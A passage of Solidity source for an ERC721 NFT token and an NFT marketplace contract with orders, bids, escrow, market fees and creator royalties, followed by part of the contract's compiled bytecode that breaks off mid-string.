`tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: contracts\categories\NFT.sol pragma solidity ^0.6.8; contract NFT is Ownable, ERC721 { event BaseURIChange(string baseURI); event ItemCreated( address indexed owner, uint256 indexed tokenId ); struct TokenExtraInfo { string metaDataURI; bytes32 metaDataHash; address tokenMinter; } mapping (uint256 => TokenExtraInfo) public extraInfoMap; mapping(uint256 => uint256) public royaltyAmount; // Used to correctly support fingerprint verification for the assets bytes4 public constant _INTERFACE_ID_ERC721_VERIFY_FINGERPRINT = bytes4( keccak256("verifyFingerprint(uint256,bytes32)") ); constructor ( string memory _name, string memory _symbol, string memory _baseUri ) public Ownable() ERC721(_name, _symbol) { setBaseURI(_baseUri); // Registers _registerInterface(_INTERFACE_ID_ERC721_VERIFY_FINGERPRINT); } /** * @dev Sets the base URI for the registry metadata * @param _baseUri Address for the fees collector */ function setBaseURI(string memory _baseUri) public onlyOwner { _setBaseURI(_baseUri); emit BaseURIChange(_baseUri); } /** * Creates a NFT * @param _metaDataURI for the new token * @param _metaData metadata JSONified string */ function create( string calldata _metaDataURI, string calldata _metaData, uint256 _royaltyAmount ) external { _create(_metaDataURI, _metaData, _royaltyAmount); } function _create( string memory _metaDataURI, string memory _metaData, uint256 _royaltyAmount ) internal returns (uint256 tokenId) { tokenId = totalSupply(); /// Save data extraInfoMap[tokenId] = TokenExtraInfo({ metaDataURI: _metaDataURI, metaDataHash: getMetaDataHash(_metaData), tokenMinter: msg.sender }); royaltyAmount[tokenId] = _royaltyAmount; /// Mint new NFT _mint(msg.sender, tokenId); _setTokenURI(tokenId, _metaDataURI); emit ItemCreated(msg.sender, tokenId); } function getMetaDataHash(string memory _metaData) public pure returns (bytes32) { bytes32 msgHash = keccak256(abi.encodePacked(_metaData)); // return prefixed hash, see: eth_sign() return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", msgHash) ); } function verifyFingerprint(uint256 _tokenId, bytes32 _fingerprint) public view returns (bool) { return extraInfoMap[_tokenId].metaDataHash == _fingerprint; } function getRoyaltyAmount(uint256 _tokenId) external view returns (uint256) { return royaltyAmount[_tokenId] ; } function getTokenMinter(uint256 _tokenId) external view returns (address) { return extraInfoMap[_tokenId].tokenMinter; } } pragma solidity ^0.6.2; interface IERC721Verifiable is IERC721 { function verifyFingerprint(uint256, bytes32) external view returns (bool); } pragma solidity ^0.6.2; interface IMarketplace { struct Order { // Order ID bytes32 id; // Owner of the NFT address seller; // NFT registry address address nftAddress; // Price (in wei) for the published item uint256 price; // royalty percentage uint256 royalty; // Time when this sale ends uint256 expiresAt; // ERC20 currency address address currency; } struct Bid { // Bid Id bytes32 id; // Bidder address address bidder; // Time when bid was created uint256 price; // Time when this bid ends uint256 expiresAt; } // ORDER EVENTS event OrderCreated( bytes32 id, address indexed seller, address indexed nftAddress, uint256 indexed assetId, uint256 priceInWei, uint256 expiresAt, address currency ); event OrderUpdated( bytes32 id, uint256 priceInWei, uint256 expiresAt ); event OrderSuccessful( bytes32 id, address indexed buyer, uint256 priceInWei ); event OrderCancelled(bytes32 id); // BID EVENTS event BidCreated( bytes32 id, address indexed nftAddress, uint256 indexed assetId, address indexed bidder, uint256 priceInWei, uint256 expiresAt ); event BidAccepted(bytes32 id); event BidCancelled(bytes32 id); } pragma solidity ^0.6.2; contract FeeManager is Ownable { event ChangedFeePerMillion(uint256 cutPerMillion); // Market fee on sales uint256 public cutPerMillion; uint256 public constant maxCutPerMillion = 100000; // 10% cut /** * @dev Sets the share cut for the owner of the contract that's * charged to the seller on a successful sale * @param _cutPerMillion - Share amount, from 0 to 99,999 */ function setOwnerCutPerMillion(uint256 _cutPerMillion) external onlyOwner { require( _cutPerMillion < maxCutPerMillion, "The owner cut should be between 0 and maxCutPerMillion" ); cutPerMillion = _cutPerMillion; emit ChangedFeePerMillion(cutPerMillion); } } contract OpenMarketplace is Ownable, Pausable, FeeManager, IMarketplace, ERC721Holder { using Address for address; using SafeMath for uint256; using SafeERC20 for IERC20; // IERC20 public acceptedToken; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant CREATOR_ROLE = keccak256("CREATOR_ROLE"); // From ERC721 registry assetId to Order (to avoid asset collision) mapping(address => mapping(uint256 => Order)) public orderByAssetId; // From ERC721 registry assetId to Bid (to avoid asset collision) mapping(address => mapping(uint256 => Bid)) public bidByOrderId; // From IERC20 to status for toggling accepted currencies mapping (address => bool) public acceptedCurrencies; // 721 Interfaces bytes4 public constant _INTERFACE_ID_ERC721 = 0x80ac58cd; // Mocking a constant for ether as currency address public constant MARKETPLACE_ETHER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev Initialize this contract. Acts as a constructor */ constructor() public Ownable() { // require(_acceptedToken.isContract(),"The accepted token address must be a deployed contract"); // acceptedToken = IERC20(_acceptedToken); acceptedCurrencies[MARKETPLACE_ETHER] = true; } /** * @dev Sets the paused failsafe. Can only be called by owner * @param _setPaused - paused state */ function setPaused(bool _setPaused) public onlyOwner { return (_setPaused) ? _pause() : _unpause(); } /** * @dev Set accepted currencies as payments. Can only be called by owner * @param _token - ERC20 contract address * @param _status - status for the token */ function setCurrency(address _token, bool _status) external onlyOwner { require(_token.isContract(),"The accepted token address must be a deployed contract"); acceptedCurrencies[_token] = _status; } /*** * @dev Creates a new order * @param _nftAddress - Non fungible registry address * @param _assetId - ID of the published NFT * @param _priceInWei - Price in Wei for the supported coin * @param _expiresAt - Duration of the order (in hours) * @param _currency - Currency for which the order is created */ function createOrder(address _nftAddress, uint256 _assetId, uint256 _priceInWei,uint256 _royality, uint256 _expiresAt, address _currency) external whenNotPaused { _createOrder(_nftAddress, _assetId, _priceInWei, _royality, _expiresAt, _currency); } /** * @dev Cancel an already published order * can only be canceled by seller or the contract owner * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT */ function cancelOrder(address _nftAddress, uint256 _assetId) external whenNotPaused { Order memory order = orderByAssetId[_nftAddress][_assetId]; require(order.seller == msg.sender || msg.sender == owner(), "Marketplace: unauthorized sender"); // Remove pending bid if any Bid memory bid = bidByOrderId[_nftAddress][_assetId]; if (bid.id != 0) { _cancelBid(bid.id, _nftAddress, _assetId, bid.bidder, bid.price); } // Cancel order. _cancelOrder(order.id, _nftAddress, _assetId, msg.sender); } /** * @dev Update an already published order * can only be updated by seller * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT */ function updateOrder(address _nftAddress, uint256 _assetId, uint256 _priceInWei, uint256 _expiresAt) external whenNotPaused { Order storage order = orderByAssetId[_nftAddress][_assetId]; // Check valid order to update require(order.id != 0, "Marketplace: asset not published"); require(order.seller == msg.sender, "Marketplace: sender not allowed"); require(order.expiresAt >= block.timestamp, "Marketplace: order expired"); // check order updated params require(_priceInWei > 0, "Marketplace: Price should be bigger than 0"); require(_expiresAt > block.timestamp.add(1 minutes), "Marketplace: Expire time should be more than 1 minute in the future"); order.price = _priceInWei; order.expiresAt = _expiresAt; emit OrderUpdated(order.id, _priceInWei, _expiresAt); } /** * @dev Executes the sale for a published NFT * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT * @param _priceInWei - Order price */ function safeExecuteOrder(address _nftAddress, uint256 _assetId, uint256 _priceInWei) external payable whenNotPaused { // Get the current valid order for the asset or fail Order memory order = _getValidOrder(_nftAddress, _assetId); /// Check the execution price matches the order price // require(order.price == _priceInWei, "Marketplace: invalid price"); require(order.seller != msg.sender, "Marketplace: unauthorized sender"); order.currency == MARKETPLACE_ETHER ? require(order.price == msg.value, "Marketplace: invalid price") : require(order.price == _priceInWei, "Marketplace: invalid price"); // market fee to cut uint256 saleShareAmount = 0; // Send market fees to owner if (FeeManager.cutPerMillion > 0) { // Calculate sale share saleShareAmount = order.price.mul(FeeManager.cutPerMillion).div(1e6); // Transfer share amount for marketplace Owner order.currency == MARKETPLACE_ETHER ? payable(owner()).transfer(saleShareAmount) : IERC20(order.currency).safeTransferFrom(msg.sender, owner(),saleShareAmount); } // royalty fee to cut uint256 royaltyAmount = 0; // Send market fees to owner if (order.royalty != 0) { // Calculate sale share royaltyAmount = order.price.mul(order.royalty).div( 100 ); if(NFT(order.nftAddress).getTokenMinter(_assetId) != msg.sender) { // Transfer royalty percentage for marketplace Owner order.currency == MARKETPLACE_ETHER ? payable(address(NFT(order.nftAddress).getTokenMinter(_assetId))).transfer(royaltyAmount) : IERC20(order.currency).safeTransferFrom(msg.sender, address(NFT(order.nftAddress).getTokenMinter(_assetId)), royaltyAmount); } } order.currency == MARKETPLACE_ETHER ? payable(order.seller).transfer(order.price.sub(saleShareAmount).sub(royaltyAmount)) : IERC20(order.currency).safeTransferFrom(msg.sender, order.seller, order.price.sub(saleShareAmount).sub(royaltyAmount)); // Remove pending bid if any Bid memory bid = bidByOrderId[_nftAddress][_assetId]; if (bid.id != 0) { _cancelBid(bid.id, _nftAddress, _assetId, bid.bidder, bid.price); } _executeOrder(order.id, msg.sender, _nftAddress, _assetId, _priceInWei); } /** * @dev Places a bid for a published NFT * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT * @param _priceInWei - Bid price in acceptedToken currency * @param _expiresAt - Bid expiration time */ function safePlaceBid(address _nftAddress, uint256 _assetId, uint256 _priceInWei, uint256 _expiresAt) external payable whenNotPaused { Order memory order = _getValidOrder(_nftAddress, _assetId); order.currency == MARKETPLACE_ETHER ? _createBid(_nftAddress, _assetId, msg.value, _expiresAt) : _createBid(_nftAddress, _assetId, _priceInWei, _expiresAt); } /** * @dev Cancel an already published bid * can only be canceled by seller or the contract owner * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT */ function cancelBid(address _nftAddress, uint256 _assetId) public whenNotPaused { Bid memory bid = bidByOrderId[_nftAddress][_assetId]; require(bid.bidder == msg.sender || msg.sender == owner(),"Marketplace: Unauthorized sender"); _cancelBid(bid.id, _nftAddress, _assetId, bid.bidder, bid.price); } /** * @dev Executes the sale for a published NFT by accepting a current bid * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT * @param _priceInWei - Bid price in wei in acceptedTokens currency */ function acceptBid(address _nftAddress, uint256 _assetId, uint256 _priceInWei) public whenNotPaused { // check order validity Order memory order = _getValidOrder(_nftAddress, _assetId); // item seller is the only allowed to accept a bid require(order.seller == msg.sender, "Marketplace: unauthorized sender"); Bid memory bid = bidByOrderId[_nftAddress][_assetId]; require(bid.price == _priceInWei, "Marketplace: invalid bid price"); require(bid.expiresAt >= block.timestamp, "Marketplace: the bid expired"); // remove bid delete bidByOrderId[_nftAddress][_assetId]; emit BidAccepted(bid.id); // market fee to cut uint256 saleShareAmount = 0; // Send market fees to owner if (FeeManager.cutPerMillion > 0) { // Calculate sale share saleShareAmount = (bid.price).mul(FeeManager.cutPerMillion).div(1e6); // Transfer share amount for marketplace Owner order.currency == MARKETPLACE_ETHER ? payable(owner()).transfer(saleShareAmount) : IERC20(order.currency).safeTransfer(owner(),saleShareAmount); } // royalty fee to cut uint256 royaltyAmount = 0; // Send market fees to owner if (order.royalty != 0) { // Calculate royalty amount royaltyAmount = bid.price.mul(order.royalty).div( 100 ); if(NFT(order.nftAddress).getTokenMinter(_assetId) != msg.sender) { // Transfer royalty percentage for marketplace Owner order.currency == MARKETPLACE_ETHER ? payable(address(NFT(order.nftAddress).getTokenMinter(_assetId))).transfer(royaltyAmount) : IERC20(order.currency).safeTransfer(address(NFT(order.nftAddress).getTokenMinter(_assetId)), royaltyAmount); } } // transfer escrowed bid amount minus market fee to seller order.currency == MARKETPLACE_ETHER ? payable(order.seller).transfer(bid.price.sub(saleShareAmount).sub(royaltyAmount)) : IERC20(order.currency).safeTransfer(order.seller, bid.price.sub(saleShareAmount).sub(royaltyAmount)); _executeOrder(order.id, bid.bidder, _nftAddress, _assetId, _priceInWei); } /** * @dev Internal function gets Order by nftRegistry and assetId. Checks for the order validity * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT */ function _getValidOrder(address _nftAddress, uint256 _assetId) internal view returns (Order memory order) { order = orderByAssetId[_nftAddress][_assetId]; require(order.id != 0, "Marketplace: asset not published"); require(order.expiresAt >= block.timestamp, "Marketplace: order expired"); } /** * @dev Executes the sale for a published NFT * @param _orderId - Order Id to execute * @param _buyer - address * @param _nftAddress - Address of the NFT registry * @param _assetId - NFT id * @param _priceInWei - Order price */ function _executeOrder(bytes32 _orderId, address _buyer, address _nftAddress, uint256 _assetId, uint256 _priceInWei) internal { // remove order delete orderByAssetId[_nftAddress][_assetId]; // Transfer NFT asset IERC721(_nftAddress).safeTransferFrom(address(this), _buyer, _assetId); // Notify .. emit OrderSuccessful(_orderId, _buyer, _priceInWei); } /** * @dev Creates a new order * @param _nftAddress - Non fungible registry address * @param _assetId - ID of the published NFT * @param _priceInWei - Price in Wei for the supported coin * @param _expiresAt - Expiration time for the order */ function _createOrder(address _nftAddress, uint256 _assetId, uint256 _priceInWei,uint256 _royality, uint256 _expiresAt, address _currency) internal { // Check nft registry IERC721 nftRegistry = IERC721(_nftAddress); // Check _acceptedCurrency require( acceptedCurrencies[_currency], "Marketplace: Unacceptable marketplace currency" ); // Check order creator is the asset owner address assetOwner = nftRegistry.ownerOf(_assetId); require( assetOwner == msg.sender, "Marketplace: Only the asset owner can create orders" ); require(_priceInWei > 0, "Marketplace: Price should be bigger than 0"); require( _expiresAt > block.timestamp.add(1 minutes), "Marketplace: Publication should be more than 1 minute in the future" ); // get NFT asset from seller nftRegistry.safeTransferFrom(assetOwner, address(this), _assetId); // create the orderId bytes32 orderId = keccak256(abi.encodePacked(block.timestamp, assetOwner, _nftAddress, _assetId, _priceInWei)); // save order orderByAssetId[_nftAddress][_assetId] = Order({ id: orderId, seller: assetOwner, nftAddress: _nftAddress, price: _priceInWei, royalty:_royality, expiresAt: _expiresAt, currency: _currency }); emit OrderCreated(orderId, assetOwner, _nftAddress, _assetId, _priceInWei, _expiresAt, _currency); } /** * @dev Creates a new bid on a existing order * @param _nftAddress - Non fungible registry address * @param _assetId - ID of the published NFT * @param _priceInWei - Price in Wei for the supported coin * @param _expiresAt - expires time */ function _createBid(address _nftAddress, uint256 _assetId, uint256 _priceInWei, uint256 _expiresAt) internal { // Checks order validity Order memory order = _getValidOrder(_nftAddress, _assetId); // check on expire time if (_expiresAt > order.expiresAt) { _expiresAt = order.expiresAt; } // Check price if theres previous a bid Bid memory bid = bidByOrderId[_nftAddress][_assetId]; // if theres no previous bid, just check price > 0 if (bid.id != 0) { if (bid.expiresAt >= block.timestamp) { require( _priceInWei > bid.price, "Marketplace: bid price should be higher than last bid" ); } else { require(_priceInWei > 0, "Marketplace: bid should be > 0"); } _cancelBid(bid.id, _nftAddress, _assetId, bid.bidder, bid.price); } else { require(_priceInWei > 0, "Marketplace: bid should be > 0"); } // Transfer sale amount from bidder to escrow // acceptedToken.safeTransferFrom(msg.sender, address(this), _priceInWei); if(order.currency != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE){ IERC20(address(order.currency)).transferFrom(msg.sender, address(this), _priceInWei); } // Create bid bytes32 bidId = keccak256(abi.encodePacked(block.timestamp, msg.sender, order.id, _priceInWei, _expiresAt)); // Save Bid for this order bidByOrderId[_nftAddress][_assetId] = Bid({ id: bidId, bidder: msg.sender, price: _priceInWei, expiresAt: _expiresAt }); emit BidCreated(bidId, _nftAddress, _assetId, msg.sender, _priceInWei, _expiresAt); } /** * @dev Cancel an already published order * can only be canceled by seller or the contract owner * @param _orderId - Bid identifier * @param _nftAddress - Address of the NFT registry * @param _assetId - ID of the published NFT * @param _seller - Address */ function _cancelOrder(bytes32 _orderId, address _nftAddress, uint256 _assetId, address _seller) internal { delete orderByAssetId[_nftAddress][_assetId]; /// send asset back to seller IERC721(_nftAddress).safeTransferFrom(address(this), _seller, _assetId); emit OrderCancelled(_orderId); } /** * @dev Cancel bid from an already published order * can only be canceled by seller or the contract owner * @param _bidId - Bid identifier * @param _nftAddress - registry address * @param _assetId - ID of the published NFT * @param _bidder - Address * @param _escrowAmount - in acceptenToken currency */ function _cancelBid(bytes32 _bidId, address _nftAddress, uint256 _assetId, address _bidder, uint256 _escrowAmount) internal { delete bidByOrderId[_nftAddress][_assetId]; Order memory order = _getValidOrder(_nftAddress, _assetId); // return escrow to canceled bidder order.currency == MARKETPLACE_ETHER ? payable(_bidder).transfer(_escrowAmount) : IERC20(order.currency).safeTransfer(_bidder, _escrowAmount); emit BidCancelled(_bidId); } // function _requireERC721(address _nftAddress) internal view returns (IERC721) { // require(_nftAddress.isContract(),"The NFT Address should be a contract"); // require(IERC721(_nftAddress).supportsInterface(_INTERFACE_ID_ERC721), "The NFT contract has an invalid ERC721 implementation"); // return IERC721(_nftAddress); // } }
0x60806040526004361061014b5760003560e01c80638aeda25a116100b6578063dece68541161006f578063dece685414610583578063e13a40f014610598578063e61f3851146105d7578063f2e2e2aa14610656578063f2fde38b14610689578063fcedebd2146106bc5761014b565b80638aeda25a146104675780638da5cb5b1461047c578063c555e050146104ad578063cd08bfe1146104c2578063cf7ce01f14610529578063d53913931461056e5761014b565b80633ac44917116101085780633ac449171461033b5780634fe8419d146103765780635c975abb146103c9578063673c8553146103f25780636a20613714610419578063715018a6146104525761014b565b8063150b7a021461015057806316c38b3c1461024057806319dad16d1461026e5780631d22da911461029857806338940b5b146102d057806339b6b1e514610302575b600080fd5b34801561015c57600080fd5b506102236004803603608081101561017357600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156101ae57600080fd5b8201836020820111156101c057600080fd5b803590602001918460018302840111640100000000831117156101e257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506106d1945050505050565b604080516001600160e01b03199092168252519081900360200190f35b34801561024c57600080fd5b5061026c6004803603602081101561026357600080fd5b503515156106e2565b005b34801561027a57600080fd5b5061026c6004803603602081101561029157600080fd5b5035610757565b61026c600480360360808110156102ae57600080fd5b506001600160a01b03813516906020810135906040810135906060013561082b565b61026c600480360360608110156102e657600080fd5b506001600160a01b0381351690602081013590604001356108de565b34801561030e57600080fd5b5061026c6004803603604081101561032557600080fd5b506001600160a01b038135169060200135610ee2565b34801561034757600080fd5b5061026c6004803603604081101561035e57600080fd5b506001600160a01b0381351690602001351515611024565b34801561038257600080fd5b5061026c600480360360c081101561039957600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a00135166110f4565b3480156103d557600080fd5b506103de61115c565b604080519115158252519081900360200190f35b3480156103fe57600080fd5b5061040761116c565b60408051918252519081900360200190f35b34801561042557600080fd5b5061026c6004803603604081101561043c57600080fd5b506001600160a01b038135169060200135611172565b34801561045e57600080fd5b5061026c61134b565b34801561047357600080fd5b506104076113ed565b34801561048857600080fd5b50610491611411565b604080516001600160a01b039092168252519081900360200190f35b3480156104b957600080fd5b50610407611420565b3480156104ce57600080fd5b506104fb600480360360408110156104e557600080fd5b506001600160a01b038135169060200135611427565b604080519485526001600160a01b039093166020850152838301919091526060830152519081900360800190f35b34801561053557600080fd5b5061026c6004803603608081101561054c57600080fd5b506001600160a01b038135169060208101359060408101359060600135611461565b34801561057a57600080fd5b506104076116c6565b34801561058f57600080fd5b506102236116e9565b3480156105a457600080fd5b5061026c600480360360608110156105bb57600080fd5b506001600160a01b0381351690602081013590604001356116f4565b3480156105e357600080fd5b50610610600480360360408110156105fa57600080fd5b506001600160a01b038135169060200135611cfd565b604080519788526001600160a01b039687166020890152948616878601526060870193909352608086019190915260a085015290911660c0830152519081900360e00190f35b34801561066257600080fd5b506103de6004803603602081101561067957600080fd5b50356001600160a01b0316611d50565b34801561069557600080fd5b5061026c600480360360208110156106ac57600080fd5b50356001600160a01b0316611d65565b3480156106c857600080fd5b50610491611e5d565b630a85bd0160e11b5b949350505050565b6106ea611e75565b6000546001600160a01b0390811691161461073a576040805162461bcd60e51b8152602060048201819052602482015260008051602061335e833981519152604482015290519081900360640190fd5b8061074c57610747611e79565b610754565b610754611f21565b50565b61075f611e75565b6000546001600160a01b039081169116146107af576040805162461bcd60e51b8152602060048201819052602482015260008051602061335e833981519152604482015290519081900360640190fd5b620186a081106107f05760405162461bcd60e51b81526004018080602001828103825260368152602001806133dd6036913960400191505060405180910390fd5b60018190556040805182815290517fdb629698afb23c88e17ec4d29f97b3907c3e1fbfd116fa15f97569c7c16b3e4d9181900360200190a150565b600054600160a01b900460ff161561087d576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61088561316c565b61088f8585611faf565b60c08101519091506001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146108cb576108c6858585856120e1565b6108d7565b6108d7858534856120e1565b5050505050565b600054600160a01b900460ff1615610930576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61093861316c565b6109428484611faf565b60208101519091506001600160a01b03163314156109a7576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a20756e617574686f72697a65642073656e646572604482015290519081900360640190fd5b60c08101516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610a2c5781816060015114610a27576040805162461bcd60e51b815260206004820152601a60248201527f4d61726b6574706c6163653a20696e76616c6964207072696365000000000000604482015290519081900360640190fd5b610a84565b34816060015114610a84576040805162461bcd60e51b815260206004820152601a60248201527f4d61726b6574706c6163653a20696e76616c6964207072696365000000000000604482015290519081900360640190fd5b60015460009015610b5557610abb620f4240610aaf60015485606001516124b890919063ffffffff16565b9063ffffffff61251816565b60c08301519091506001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610b1357610b0e33610af2611411565b60c08501516001600160a01b031691908463ffffffff61255a16565b610b55565b610b1b611411565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610b53573d6000803e3d6000fd5b505b608082015160009015610d7e57610b826064610aaf856080015186606001516124b890919063ffffffff16565b9050336001600160a01b031683604001516001600160a01b031663d0e4f396876040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bd657600080fd5b505afa158015610bea573d6000803e3d6000fd5b505050506040513d6020811015610c0057600080fd5b50516001600160a01b031614610d7e5760c08301516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610cd157610ccc3384604001516001600160a01b031663d0e4f396886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610c8457600080fd5b505afa158015610c98573d6000803e3d6000fd5b505050506040513d6020811015610cae57600080fd5b505160c08601516001600160a01b031691908463ffffffff61255a16565b610d7e565b82604001516001600160a01b031663d0e4f396866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610d1957600080fd5b505afa158015610d2d573d6000803e3d6000fd5b505050506040513d6020811015610d4357600080fd5b50516040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d7c573d6000803e3d6000fd5b505b60c08301516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610df757610df2338460200151610dd684610dca8789606001516125b490919063ffffffff16565b9063ffffffff6125b416565b60c08701516001600160a01b031692919063ffffffff61255a16565b610e4d565b82602001516001600160a01b03166108fc610e2383610dca8688606001516125b490919063ffffffff16565b6040518115909202916000818181858888f19350505050158015610e4b573d6000803e3d6000fd5b505b610e556131a8565b506001600160a01b0380871660009081526003602081815260408084208a85528252928390208351608081018552815480825260018301549096169281019290925260028101549382019390935291015460608201529015610eca57610eca81600001518888846020015185604001516125f6565b8351610ed9903389898961270b565b50505050505050565b600054600160a01b900460ff1615610f34576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b610f3c6131a8565b506001600160a01b03808316600090815260036020818152604080842086855282529283902083516080810185528154815260018201549095169185018290526002810154938501939093529101546060830152331480610fb55750610fa0611411565b6001600160a01b0316336001600160a01b0316145b611006576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a20556e617574686f72697a65642073656e646572604482015290519081900360640190fd5b61101f81600001518484846020015185604001516125f6565b505050565b61102c611e75565b6000546001600160a01b0390811691161461107c576040805162461bcd60e51b8152602060048201819052602482015260008051602061335e833981519152604482015290519081900360640190fd5b61108e826001600160a01b0316612822565b6110c95760405162461bcd60e51b81526004018080602001828103825260368152602001806131d06036913960400191505060405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600054600160a01b900460ff1615611146576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61115486868686868661285b565b505050505050565b600054600160a01b900460ff1690565b60015481565b600054600160a01b900460ff16156111c4576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6111cc61316c565b506001600160a01b038083166000908152600260208181526040808420868552825292839020835160e0810185528154815260018201548616928101839052928101548516938301939093526003830154606083015260048301546080830152600583015460a083015260069092015490921660c08301523314806112695750611254611411565b6001600160a01b0316336001600160a01b0316145b6112ba576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a20756e617574686f72697a65642073656e646572604482015290519081900360640190fd5b6112c26131a8565b506001600160a01b03808416600090815260036020818152604080842087855282529283902083516080810185528154808252600183015490961692810192909252600281015493820193909352910154606082015290156113375761133781600001518585846020015185604001516125f6565b815161134590858533612c98565b50505050565b611353611e75565b6000546001600160a01b039081169116146113a3576040805162461bcd60e51b8152602060048201819052602482015260008051602061335e833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b604080516b43524541544f525f524f4c4560a01b8152905190819003600c01902081565b6000546001600160a01b031690565b620186a081565b60036020818152600093845260408085209091529183529120805460018201546002830154929093015490926001600160a01b0316919084565b600054600160a01b900460ff16156114b3576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6001600160a01b038416600090815260026020908152604080832086845290915290208054611529576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a206173736574206e6f74207075626c6973686564604482015290519081900360640190fd5b60018101546001600160a01b0316331461158a576040805162461bcd60e51b815260206004820152601f60248201527f4d61726b6574706c6163653a2073656e646572206e6f7420616c6c6f77656400604482015290519081900360640190fd5b42816005015410156115e3576040805162461bcd60e51b815260206004820152601a60248201527f4d61726b6574706c6163653a206f726465722065787069726564000000000000604482015290519081900360640190fd5b600083116116225760405162461bcd60e51b815260040180806020018281038252602a81526020018061326f602a913960400191505060405180910390fd5b61163342603c63ffffffff612d9c16565b82116116705760405162461bcd60e51b815260040180806020018281038252604381526020018061322c6043913960600191505060405180910390fd5b600381018390556005810182905580546040805191825260208201859052818101849052517f37de993802f8ab9c75f6d7d3065ba8ab95ce30051219b14251415925e68e0a489181900360600190a15050505050565b604080516a4d494e5445525f524f4c4560a81b8152905190819003600b01902081565b6380ac58cd60e01b81565b600054600160a01b900460ff1615611746576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61174e61316c565b6117588484611faf565b60208101519091506001600160a01b031633146117bc576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a